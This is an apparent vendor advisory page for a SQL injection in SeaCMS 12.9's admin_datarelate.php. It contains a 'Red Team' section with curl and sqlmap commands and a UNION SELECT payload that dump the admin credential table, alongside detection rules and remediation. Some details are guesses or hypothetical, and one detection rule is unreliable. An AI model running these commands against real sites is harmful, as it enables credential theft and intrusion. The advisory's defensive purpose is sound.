CVE-2024-40570
Executive Summary
CVE-2024-40570 is a critical SQL Injection vulnerability discovered in SeaCMS version 12.9. The flaw resides in the admin_datarelate.php component, allowing a remote, unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation can lead to unauthorized access to sensitive data, including user credentials, session tokens, and database contents. The vulnerability is publicly known, and proof-of-concept (PoC) code is available, increasing the risk of active exploitation. No official patch has been released by the vendor at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the SeaCMS PHP application.
CVSS Breakdown & Threat Level
While a CVSS vector is not officially assigned, based on the nature of the vulnerability, a reasonable assessment is:
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): High (H) – Full database read access.
- Integrity (I): High (H) – Potential to modify or delete data.
- Availability (A): High (H) – Could lead to denial of service via database corruption.
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top priority for remediation.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the admin_datarelate.php script. This script is part of the SeaCMS administrative backend, but the vulnerable parameter is accessible without authentication.
Root Cause: The application fails to properly sanitize user-supplied input before using it in a SQL query. Specifically, a parameter (likely id, type, or a similar identifier) is directly concatenated into a SQL statement without parameterization or escaping.
Attack Vector: An attacker sends a crafted HTTP request to the vulnerable endpoint. The request includes malicious SQL code in the vulnerable parameter.
Example Attack Flow:
- Attacker identifies the vulnerable parameter (e.g.,
id). - Attacker sends a request like:
GET /admin/admin_datarelate.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- - - The server executes the malicious query, returning data from other tables (e.g.,
admintable) in the response.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison.
Vulnerable Code (PHP):
<?php
$id = $_GET['id'];
$sql = "SELECT * FROM `sea_admin` WHERE `id` = $id";
$result = mysqli_query($conn, $sql);
?>
Patched Code (PHP):
<?php
$id = intval($_GET['id']);
$sql = "SELECT * FROM `sea_admin` WHERE `id` = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>
The patched version uses:
- Type Casting:
intval()ensures the input is an integer. - Prepared Statements: Parameterized queries prevent SQL injection entirely.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A target running SeaCMS v12.9.
- A tool like
sqlmaporcurl.
Step 1: Identify the vulnerable parameter. Use a simple test to confirm injection:
curl "http://target.com/admin/admin_datarelate.php?id=1'"
If an SQL error is returned, the parameter is vulnerable.
Step 2: Automate exploitation with sqlmap.
sqlmap -u "http://target.com/admin/admin_datarelate.php?id=1" --batch --dbs
Step 3: Extract data.
sqlmap -u "http://target.com/admin/admin_datarelate.php?id=1" --batch -D seacms -T sea_admin --dump
Manual PoC (Extracting admin credentials):
http://target.com/admin/admin_datarelate.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -
Blue Team (Defensive)
Detection:
- Monitor for SQL error messages in web server logs (e.g.,
You have an error in your SQL syntax). - Look for abnormal request patterns to
/admin/admin_datarelate.phpwith parameters containing SQL keywords (UNION,SELECT,--,'). - Use a Web Application Firewall (WAF) to block SQL injection patterns.
Hunting:
- Search logs for requests to
admin_datarelate.phpwith a high number of parameters or unusual characters. - Correlate with database error logs.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/admin/admin_datarelate.phpcontaining SQL keywords in theidparameter. - Outbound database connections from the web server to unusual IPs (data exfiltration).
File System IOCs:
- Modified or new files in the SeaCMS
admindirectory. - Presence of web shells (e.g.,
cmd.php,shell.php) in the web root.
Log IOCs:
- Web server logs showing
400or500errors fromadmin_datarelate.php. - Database logs showing failed queries or queries with
UNIONstatements.
Detection Engineering
YARA Rule
rule CVE_2024_40570_SeaCMS_SQLi {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-40570 in SeaCMS"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-40570"
strings:
$s1 = "admin_datarelate.php" nocase
$s2 = "id=" nocase
$s3 = "UNION" nocase
$s4 = "SELECT" nocase
$s5 = "'" nocase
condition:
all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}
Sigma Rule
title: SeaCMS CVE-2024-40570 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against SeaCMS admin_datarelate.php
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'admin_datarelate.php'
cs-uri-query|contains|all:
- 'id='
- 'UNION'
- 'SELECT'
condition: selection
falsepositives:
- Legitimate admin activity (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-40570 SeaCMS SQL Injection Attempt";
flow:to_server,established;
content:"GET";
http_method;
content:"admin_datarelate.php";
http_uri;
content:"id=";
http_uri;
pcre:"/UNION.+SELECT/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the server: If possible, take the SeaCMS instance offline or behind a VPN.
- Apply a WAF rule: Block requests to
/admin/admin_datarelate.phpthat contain SQL keywords. - Disable the vulnerable script: Rename or remove
admin_datarelate.phpif not essential.
Long-Term Fix:
- Apply the vendor patch: Monitor the SeaCMS official website for a security update.
- Code Hardening: If you have access to the source code, implement prepared statements and input validation as shown in the "Patched Code" section.
- Upgrade: Consider migrating to a more actively maintained CMS.
Compromise Assessment:
- Check for unauthorized admin accounts.
- Review database logs for suspicious queries.
- Scan the web server for web shells.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.